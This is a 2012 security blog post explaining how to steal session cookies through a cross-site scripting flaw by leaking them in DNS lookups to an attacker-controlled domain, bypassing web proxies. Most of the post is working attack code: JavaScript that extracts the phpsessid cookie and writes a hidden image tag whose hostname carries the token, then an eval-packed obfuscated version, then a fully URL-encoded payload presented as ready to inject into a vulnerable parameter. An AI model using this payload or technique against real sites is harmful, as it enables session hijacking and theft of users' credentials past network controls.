Home > Security > XSS and DNS Covert Channels

XSS and DNS Covert Channels

October 9th, 2012 Leave a comment Go to comments

Like gum and nuts (They’re finally together!), let’s combine two classic attack techniques into one big gooey ball of goodness. Nothing here is anything new, just another way of looking for solutions to a problem.

So you’ve found an XSS flaw in an application and you’d like to steal some of the wonderful treasures in a user’s browser, but some nasty security administrator only allows access to a small set of approved sites. Therefore the classic method of requesting an external script with the cookie value as a query probably is not going to work. Enter covert channels via DNS requests.

Even if the specific HTTP request is being blocked by some form of proxy, in the vast majority of cases a DNS request will still be allowed. We’re not looking for the ability to tunnel out encoded packets or any such fancy-pants trickery. We just want a normal old A record request. We don’t care if the client system itself makes the request or if it passes through an internal resolver – it just has to make it out. And obviously the request needs to be made to a domain where we control the SOA and can log the incoming requests. Again, barring the need to be truly stealthy, we don’t really care if a record is returned – our goals are achieved once the request is made.

The Code

So, couple assumptions going on here.

  1. We’ve found an XSS flaw in an application
  2. We know the session mechanism or other such token that we want to steal from the end user.
  3. We have our DNS server.
  4. We can inject into the HTML body (as opposed to being only able to inject into a contained element ala javascript events)

So, let’s look at a basic version of the code:

function dnSession() {
var myDomain = "zombietango.net";
var prizeCookie = "phpsessid";
var cookieJar = document.cookie.split(/;\s*/);
for (var i = 0; i < cookieJar.length; i++)
{
var cookiePiece = cookieJar[i];
if (cookiePiece.toLowerCase().indexOf(prizeCookie) != -1) {
var cookieCrumb = cookiePiece.split("=");
var cookieType = cookieCrumb[0];
var cookieYum = cookieCrumb[1];
document.write("");
}
}
}

dnSession();

Very simple, we define a couple variables. The first is the root of the domain that we will query. The second is the specific cookie name we are trying to grab the value for. Since we’ve already identified our vulnerability, we should already know exactly what we are looking for.

After that, we carve up the full cookie string into individual name/value pairs by doing a split on the ‘;’ character. Then we iterate through that array until we find a pair that matches our desired cookie. Split that pair and we have our specific token value that we trying to steal. At this point, we’re at a pretty normal stage in XSS exploitation. In fact, nothing about this technique is really all that different from a typical XSS token exfiltration. The special sauce is just in how we are approaching the exfiltration. Normally, as we see in this code example, we’d just write out a tracker img or an AJAX request or a form post or something that would rely on the client being able to reach the attacker controlled web server to deliver the token. In this paradigm, we are looking to construct a domain that when placed into the DOM results in a DNS lookup. The hostname being resolved contains the token being passed to the attacker.

So back to out example. Once we’ve grabbed our token, the javascript writes out an hidden img tag that has it’s source set to <token>.attackerdomain.com. Since we control attackerdomain.com, we receive the token when the client attempts to retrieve the image file. Voila! We’ve exfiltrated data through the control specifically meant to keep users from sending data out of the network.

Trimming it Down

So, we have a chunk of working javascript code. This would be great if we could inject the code as part of a linked script file, but the whole point of this exercise is to pull off data exfiltration when we can’t get the user to our script page. So we need to get this into a smaller package. The first step would be to pack the javascript. Let’s use Dean Edward’s packer for this task. Packed using both the ‘shrink variable’ and ‘base62’ options, the code above looks like:

eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('7 3(){2 a="8.9";2 b="h";2 c=4.j.5(/;\\s*/);k(2 i=0;i<c.l;i++){2 d=c[i];m(d.n().o(b)!=-1){2 e=d.5("=");2 f=e[0];2 g=e[1];4.p("<q r=\'t:6;u:6;v:w;\' x=\'y://"+g+"."+a+"\'>")}}}3();',35,35,'||var|dnSession|document|split|1px|function|zombietango|net||||||||phpsessid||cookie|for|length|if|toLowerCase|indexOf|write|img|style||height|width|display|none|src|http'.split('|'),0,{}))

Smaller and definitely injectable. But let’s go one more step and URL encode this bad boy (I like Burp’s decoder module – use what you like):

%3c%73%63%72%69%70%74%3e%65%76%61%6c%28%66%75%6e%63%74%69%6f%6e%28%70%2c%61%2c%63%2c%6b%2c%65%2c%72%29%7b%65%3d%66%75%6e%63%74%69%6f%6e%28%63%29%7b%72%65%74%75%72%6e%20%63%2e%74%6f%53%74%72%69%6e%67%28%61%29%7d%3b%69%66%28%21%27%27%2e%72%65%70%6c%61%63%65%28%2f%5e%2f%2c%53%74%72%69%6e%67%29%29%7b%77%68%69%6c%65%28%63%2d%2d%29%72%5b%65%28%63%29%5d%3d%6b%5b%63%5d%7c%7c%65%28%63%29%3b%6b%3d%5b%66%75%6e%63%74%69%6f%6e%28%65%29%7b%72%65%74%75%72%6e%20%72%5b%65%5d%7d%5d%3b%65%3d%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%74%75%72%6e%27%5c%5c%77%2b%27%7d%3b%63%3d%31%7d%3b%77%68%69%6c%65%28%63%2d%2d%29%69%66%28%6b%5b%63%5d%29%70%3d%70%2e%72%65%70%6c%61%63%65%28%6e%65%77%20%52%65%67%45%78%70%28%27%5c%5c%62%27%2b%65%28%63%29%2b%27%5c%5c%62%27%2c%27%67%27%29%2c%6b%5b%63%5d%29%3b%72%65%74%75%72%6e%20%70%7d%28%27%37%20%33%28%29%7b%32%20%61%3d%22%38%2e%39%22%3b%32%20%62%3d%22%68%22%3b%32%20%63%3d%34%2e%6a%2e%35%28%2f%3b%5c%5c%73%2a%2f%29%3b%6b%28%32%20%69%3d%30%3b%69%3c%63%2e%6c%3b%69%2b%2b%29%7b%32%20%64%3d%63%5b%69%5d%3b%6d%28%64%2e%6e%28%29%2e%6f%28%62%29%21%3d%2d%31%29%7b%32%20%65%3d%64%2e%35%28%22%3d%22%29%3b%32%20%66%3d%65%5b%30%5d%3b%32%20%67%3d%65%5b%31%5d%3b%34%2e%70%28%22%3c%71%20%72%3d%5c%27%74%3a%36%3b%75%3a%36%3b%76%3a%77%3b%5c%27%20%78%3d%5c%27%79%3a%2f%2f%22%2b%67%2b%22%2e%22%2b%61%2b%22%5c%27%3e%22%29%7d%7d%7d%33%28%29%3b%27%2c%33%35%2c%33%35%2c%27%7c%7c%76%61%72%7c%64%6e%53%65%73%73%69%6f%6e%7c%64%6f%63%75%6d%65%6e%74%7c%73%70%6c%69%74%7c%31%70%78%7c%66%75%6e%63%74%69%6f%6e%7c%7a%6f%6d%62%69%65%74%61%6e%67%6f%7c%6e%65%74%7c%7c%7c%7c%7c%7c%7c%7c%70%68%70%73%65%73%73%69%64%7c%7c%63%6f%6f%6b%69%65%7c%66%6f%72%7c%6c%65%6e%67%74%68%7c%69%66%7c%74%6f%4c%6f%77%65%72%43%61%73%65%7c%69%6e%64%65%78%4f%66%7c%77%72%69%74%65%7c%69%6d%67%7c%73%74%79%6c%65%7c%7c%68%65%69%67%68%74%7c%77%69%64%74%68%7c%64%69%73%70%6c%61%79%7c%6e%6f%6e%65%7c%73%72%63%7c%68%74%74%70%27%2e%73%70%6c%69%74%28%27%7c%27%29%2c%30%2c%7b%7d%29%29%3c%2f%73%63%72%69%70%74%3e

In this specific example, I’ve just wrapped the JS in a set of <script> tags. This may or may not be appropriate based on your injection point. You’ve now got a nice, albeit long, piece of URL ready text to pop into your vulnerable query parameter. I’m sure there are some inefficiencies in my JS code that could be resolved to make the final package shorter, but this at least gets the idea across.

Categories: Security Tags:
  1. No comments yet.
  1. No trackbacks yet.